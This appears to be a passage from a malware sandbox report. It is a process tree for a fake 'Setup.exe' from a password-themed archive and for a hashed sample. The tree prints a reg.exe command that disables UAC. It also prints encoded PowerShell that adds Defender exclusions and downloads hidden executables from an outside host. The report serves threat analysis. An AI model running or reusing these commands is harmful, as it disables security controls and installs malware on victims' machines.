    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6660,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=7144 /prefetch:8
    3⤵
    PID:6116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7144,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6292 /prefetch:8
    3⤵
    PID:2212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5628,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=7092 /prefetch:8
    3⤵
    PID:1496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6060,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=7072 /prefetch:8
    3⤵
    PID:5224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6004,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6888 /prefetch:8
    3⤵
    PID:5728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4620,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=7128 /prefetch:8
    3⤵
    PID:3916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6752,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5940 /prefetch:8
    3⤵
    PID:1788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3424,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6792 /prefetch:8
    3⤵
    PID:232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6376,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=7084 /prefetch:8
    3⤵
    PID:5728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5420,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4608 /prefetch:8
    3⤵
    PID:1676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7052,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6612 /prefetch:8
    3⤵
    PID:804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6792,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4024 /prefetch:8
    3⤵
    PID:4772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5764,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6736 /prefetch:8
    3⤵
    PID:2840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5940,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6360 /prefetch:8
    3⤵
    PID:4604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6480,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6652 /prefetch:8
    3⤵
    PID:1348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7048,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6552 /prefetch:8
    3⤵
    PID:5884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7108,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6940 /prefetch:8
    3⤵
    PID:3768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6888,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3240 /prefetch:8
    3⤵
    PID:3628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4648,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=6616 /prefetch:8
    3⤵
    PID:4420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4592,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4528 /prefetch:8
    3⤵
    PID:3952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5916,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5812 /prefetch:8
    3⤵
    PID:408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4480,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4540 /prefetch:8
    3⤵
    PID:3468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3792,i,9039113575217374694,13690589332728839541,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3364 /prefetch:8
    3⤵
    PID:5512
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap30086:138:7zEvent10984
  2⤵
  PID:5228
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌b1!\" -an -ai#7zMap22982:210:7zEvent6806
  2⤵
  PID:4788
- C:\Program Files (x86)\Zillya Total Security\ZTS.exe
  "C:\Program Files (x86)\Zillya Total Security\ZTS.exe" /scan C:\Users\Admin\Downloads\???†e$†?Se†µ??P@$$?rÐ?((9192))-B1??b1!\???†e$†?Se†µ??P@$$?rÐ?((9192))-B1??//
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:2964
- C:\Users\Admin\Downloads\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌b1!\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌\Setup.exe
  "C:\Users\Admin\Downloads\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌b1!\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌\Setup.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  PID:1440
- - C:\Users\Admin\AppData\Roaming\danc\ARYUMFBHSHTVC\nc.exe
    C:\Users\Admin\AppData\Roaming\danc\ARYUMFBHSHTVC\nc.exe
    3⤵
    - Executes dropped EXE
    PID:5228
- - C:\Windows\SysWOW64\more.com
    C:\Windows\SysWOW64\more.com
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:320
  - - C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe
      4⤵
      Loads dropped DLL
      PID:2172
- C:\Users\Admin\Downloads\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌b1!\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌\Setup.exe
  "C:\Users\Admin\Downloads\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌b1!\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌\Setup.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:5928
- - C:\Users\Admin\AppData\Roaming\danc\ARYUMFBHSHTVC\nc.exe
    C:\Users\Admin\AppData\Roaming\danc\ARYUMFBHSHTVC\nc.exe
    3⤵
    - Executes dropped EXE
    PID:5224
- - C:\Windows\SysWOW64\more.com
    C:\Windows\SysWOW64\more.com
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:4216
  - - C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe
      4⤵
      Loads dropped DLL
      PID:3948
- C:\Users\Admin\Downloads\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌b1!\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌\Setup.exe
  "C:\Users\Admin\Downloads\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌b1!\➤⇌Δ†ε$†➤Sε†μρ➤P@$$ωrÐ➤((9192))-B1➤⇌\Setup.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:6092
- - C:\Users\Admin\AppData\Roaming\danc\ARYUMFBHSHTVC\nc.exe
    C:\Users\Admin\AppData\Roaming\danc\ARYUMFBHSHTVC\nc.exe
    3⤵
    - Executes dropped EXE
    PID:4432
- - C:\Windows\SysWOW64\more.com
    C:\Windows\SysWOW64\more.com
    3⤵
    - Suspicious behavior: MapViewOfSection
    PID:4220
  - - C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:5164
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\*\" -ad -an -ai#7zMap22597:5642:7zEvent10290
  2⤵
  PID:5368
- C:\Program Files (x86)\Zillya Total Security\ZTS.exe
  "C:\Program Files (x86)\Zillya Total Security\ZTS.exe" /scan C:\Users\Admin\Downloads\samples//
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:408
- C:\Program Files (x86)\Zillya Total Security\ZTS.exe
  "C:\Program Files (x86)\Zillya Total Security\ZTS.exe" /scan C:\Users\Admin\Downloads\samples//
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:5144
- C:\Users\Admin\Downloads\samples\0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d\0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe
  "C:\Users\Admin\Downloads\samples\0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d\0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe"
  2⤵
  - Adds policy Run key to start application
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  PID:3592
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2892
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:6080
- - C:\ProgramData\BraveShared\BraveSharedUpdater.exe
    "C:\ProgramData\BraveShared\BraveSharedUpdater.exe"
    3⤵
    - Adds policy Run key to start application
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:316
  - - C:\Windows\SysWOW64\cmd.exe
      /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:1416
    - - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        Modifies registry key
        
        PID:4128
  - - \??\c:\program files (x86)\internet explorer\iexplore.exe
      "c:\program files (x86)\internet explorer\iexplore.exe"
      4⤵
      Adds policy Run key to start application
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      PID:4340
    - - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        
        PID:4248
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        UAC bypass
        Modifies registry key
        
        PID:6084
    - - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1756
    - - C:\ProgramData\BraveCrashHandler.exe
        
        "C:\ProgramData\BraveCrashHandler.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3036
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CMY9GT5X.bat" "C:\ProgramData\BraveCrashHandler.exe" "
        6⤵
        
        PID:5908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKAGkAZgAoAC0ATgBvAHQAIAAkACgAJAAoAHcAaABvAGEAbQBpACkAIAAtAGUAcQAgACIAbgB0ACAAYQB1AHQAaABvAHIAaQB0AHkAXABzAHkAcwB0AGUAbQAiACkAKQAgAHsACgAgACAAIAAgACQASQBzAFMAeQBzAHQAZQBtACAAPQAgACQAZgBhAGwAcwBlAAoACgAgACAAIAAgAGkAZgAgACgALQBOAG8AdAAgACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAUAByAGkAbgBjAGkAcABhAGwAXQAgAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEkAZABlAG4AdABpAHQAeQBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0ACgAKQApAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AIAAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAQwBvAG0AbQBhAG4AZABMAGkAbgBlACAAPQAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAAYAAiACIAIAArACAAJABNAHkASQBuAHYAbwBjAGEAdABpAG8AbgAuAE0AeQBDAG8AbQBtAGEAbgBkAC4AUABhAHQAaAAgACsAIAAiAGAAIgAgACIAIAArACAAJABNAHkASQBuAHYAbwBjAGEAdABpAG8AbgAuAFUAbgBiAG8AdQBuAGQAQQByAGcAdQBtAGUAbgB0AHMACgAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAUABvAHcAZQByAFMAaABlAGwAbAAuAGUAeABlACAALQBWAGUAcgBiACAAUgB1AG4AYQBzACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACQAQwBvAG0AbQBhAG4AZABMAGkAbgBlAAoAIAAgACAAIAAgACAAIAAgAEUAeABpAHQACgAgACAAIAAgAH0ACgAKACAAIAAgACAAJABwAHMAZQB4AGUAYwBfAHAAYQB0AGgAIAA9ACAAJAAoAEcAZQB0AC0AQwBvAG0AbQBhAG4AZAAgAFAAcwBFAHgAZQBjACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIAAnAGkAZwBuAG8AcgBlACcAKQAuAFMAbwB1AHIAYwBlACAACgAgACAAIAAgAGkAZgAoACQAcABzAGUAeABlAGMAXwBwAGEAdABoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAQwBvAG0AbQBhAG4AZABMAGkAbgBlACAAPQAgACIAIAAtAGkAIAAtAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIABgACIAIgAgACsAIAAkAE0AeQBJAG4AdgBvAGMAYQB0AGkAbwBuAC4ATQB5AEMAbwBtAG0AYQBuAGQALgBQAGEAdABoACAAKwAgACIAYAAiACAAIgAgACsAIAAkAE0AeQBJAG4AdgBvAGMAYQB0AGkAbwBuAC4AVQBuAGIAbwB1AG4AZABBAHIAZwB1AG0AZQBuAHQAcwAgAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAHAAcwBlAHgAZQBjAF8AcABhAHQAaAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAEMAbwBtAG0AYQBuAGQATABpAG4AZQAKACAAIAAgACAAIAAgACAAIABlAHgAaQB0AAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgAH0ACgAKAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAJABJAHMAUwB5AHMAdABlAG0AIAA9ACAAJAB0AHIAdQBlAAoAfQAKAAoANgA3AC4ALgA5ADAAfABmAG8AcgBlAGEAYwBoAC0AbwBiAGoAZQBjAHQAewAKACAAIAAgACAAJABkAHIAaQB2AGUAIAA9ACAAWwBjAGgAYQByAF0AJABfAAoAIAAgACAAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgAkACgAJABkAHIAaQB2AGUAKQA6AFwAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACIAJAAoACQAZAByAGkAdgBlACkAOgBcACoAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAH0ACgA=
        7⤵
        
        PID:2516
        
        C:\Windows\system32\chcp.com
        
        "C:\Windows\system32\chcp.com" 65001
        8⤵
        
        PID:5732
        
        C:\Windows\system32\whoami.exe
        
        "C:\Windows\system32\whoami.exe"
        8⤵
        
        PID:3628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec bypass -enc YwBoAGMAcAAgADYANQAwADAAMQAKACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcACgAKAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIAAtAFMAYwBvAHAAZQAgAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAgAEIAeQBwAGEAcwBzACAALQBGAG8AcgBjAGUACgAKACQAZgBpAGwAZQBzAFQAbwBDAGgAZQBjAGsAIAA9ACAAQAAoAAoAIAAgACAAIABAAHsAUABhAHQAaAA9ACIAJABlAG4AdgA6AFAAUgBPAEcAUgBBAE0ARABBAFQAQQBcAEIAcgBhAHYAZQBDAHIAYQBzAGgASABhAG4AZABsAGUAcgAuAGUAeABlACIAOwAgAFUAcgBsAD0AIgBoAHQAdABwAHMAOgAvAC8AcwBqAGMAMQAuAHYAdQBsAHQAcgBvAGIAagBlAGMAdABzAC4AYwBvAG0ALwBjAGYAYwBiADYAOQBmAGYALwBCAHIAYQB2AGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiAH0ALAAKACAAIAAgACAAQAB7AFAAYQB0AGgAPQAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBlAGQAaQB0AC4AZQB4AGUAIgA7ACAAVQByAGwAPQAiAGgAdAB0AHAAcwA6AC8ALwBzAGoAYwAxAC4AdgB1AGwAdAByAG8AYgBqAGUAYwB0AHMALgBjAG8AbQAvAGMAZgBjAGIANgA5AGYAZgAvAEUAbQBiAGUAZABpAHQALgBlAHgAZQAiAH0ALAAKACAAIAAgACAAQAB7AFAAYQB0AGgAPQAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiADsAIABVAHIAbAA9ACIAaAB0AHQAcABzADoALwAvAHMAagBjADEALgB2AHUAbAB0AHIAbwBiAGoAZQBjAHQAcwAuAGMAbwBtAC8AYwBmAGMAYgA2ADkAZgBmAC8ARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIALgBlAHgAZQAiAH0ALAAKACAAIAAgACAAQAB7AFAAYQB0AGgAPQAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARwBvAG8AZwBsAGUAQwByAGEAcwBoAEgAYQBuAGQAbABlAHIANgA0AC4AZQB4AGUAIgA7ACAAVQByAGwAPQAiAGgAdAB0AHAAcwA6AC8ALwBzAGoAYwAxAC4AdgB1AGwAdAByAG8AYgBqAGUAYwB0AHMALgBjAG8AbQAvAGMAZgBjAGIANgA5AGYAZgAvAEcAbwBvAGcAbABlAEMAcgBhAHMAaABIAGEAbgBkAGwAZQByADYANAAuAGUAeABlACIAfQAsAAoACQBAAHsAUABhAHQAaAA9ACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAUwBoAGUASQBsAEUAeABwAGUAcgBpAGUAbgBjAGUASABvAHMAdAAuAGUAeABlACIAOwAgAFUAcgBsAD0AIgBoAHQAdABwAHMAOgAvAC8AcwBqAGMAMQAuAHYAdQBsAHQAcgBvAGIAagBlAGMAdABzAC4AYwBvAG0ALwBjAGYAYwBiADYAOQBmAGYALwBTAGgAZQBJAGwARQB4AHAAZQByAGkAZQBuAGMAZQBIAG8AcwB0AC4AZQB4AGUAIgB9AAoAKQAKAAoAZgBvAHIAZQBhAGMAaAAgACgAJABmAGkAbABlACAAaQBuACAAJABmAGkAbABlAHMAVABvAEMAaABlAGMAawApACAAewAKACAAIAAgACAAaQBmACAAKAAtAE4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZgBpAGwAZQAuAFAAYQB0AGgAIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEwAZQBhAGYAKQApACAAewAKACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGYAaQBsAGUALgBVAHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgBpAGwAZQAuAFAAYQB0AGgACgAgACAAIAAgAH0ACgAgACAAIAAgACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAZgBpAGwAZQAuAFAAYQB0AGgAKQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAJwBIAGkAZABkAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAnAAoAfQAKAAoAJABhAGQAZABpAHQAaQBvAG4AYQBsAEYAaQBsAGU